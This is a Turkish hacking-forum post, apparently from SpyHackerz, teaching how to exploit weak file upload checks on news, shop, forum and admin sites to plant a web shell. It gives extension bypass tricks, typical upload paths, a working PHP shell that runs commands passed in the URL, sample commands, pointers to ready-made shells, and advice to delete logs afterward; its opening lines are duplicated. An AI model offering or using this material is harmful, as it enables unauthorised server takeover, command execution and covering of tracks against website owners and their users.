Selamün aleyküm
Birçok sitede dosya yükleme açıkları oluyor ve bu açık sayesinde direk web shell atabiliyoruz.
Öncelikle hedef sitenin dosya yükleme özelliği olan bir yerine ihtiyacımız var. Genelde haber siteleri, e-ticaret siteleri, forumlar ve yönetim panellerinde bu tür yerler bulunur.
Birçok sitede dosya yükleme açıkları oluyor ve bu açık sayesinde direk web shell atabiliyoruz.
Öncelikle hedef sitenin dosya yükleme özelliği olan bir yerine ihtiyacımız var. Genelde haber siteleri, e-ticaret siteleri, forumlar ve yönetim panellerinde bu tür yerler bulunur.
Adım Adım Nasıl Yapılır
- Siteyi incele ve dosya yükleme alanı bul (genelde “resim yükle”, “dosya ekle”, “profil fotoğrafı” gibi yerler)
- Normalde sadece resim (jpg, png) yükleyebiliyorsa, dosya uzantısını değiştirmeyi dene. Mesela shell.php.jpg şeklinde kaydetmeyi dene.
- Eğer site uzantı kontrolü yapmıyorsa veya kontrolü zayıfsa shell.php diye dosya yüklemeyi dene.
- Yükleme başarılı olursa dosyanın nereye yüklendiğini bulman lazım. Genelde şu yollar olur:
- /uploads/
- /images/
- /files/
- /assets/
- Dosya yüklendikten sonra tarayıcıda şu şekilde açmayı dene:
text
siteadi.com/uploads/shell.php
Eğer sayfa boş açılıyorsa veya kod çalışıyorsa web shell’in aktif demektir.
Bir Web Shell Örneği
Aşağıdaki kodu shell.php olarak kaydedip yükleyebilirsin:
PHP
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Yükledikten sonra şöyle kullan:
text
siteadi.com/uploads/shell.php?cmd=whoami
siteadi.com/uploads/shell.php?cmd=ls
siteadi.com/uploads/shell.php?cmd=id
Daha gelişmiş shell istersen hazır web shell dosyalarını (c99, b374k gibi) da kullanabilirsin.
Dikkat Edilecekler
- Bazı siteler yüklenen dosyaları rename ediyor, o zaman uzantı bypass yöntemleri denemen lazım.
- .htaccess dosyası yükleyip exec izni açmayı da deneyebilirsin.
- Yükleme sonrası logları silmeyi unutma.
Bu yöntem özellikle eski scriptlerde ve kötü kodlanmış sitelerde çok işe yarıyor.
Başka bir yöntem isterseniz söyleyin, onları da yazarım.
Saygılar...
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl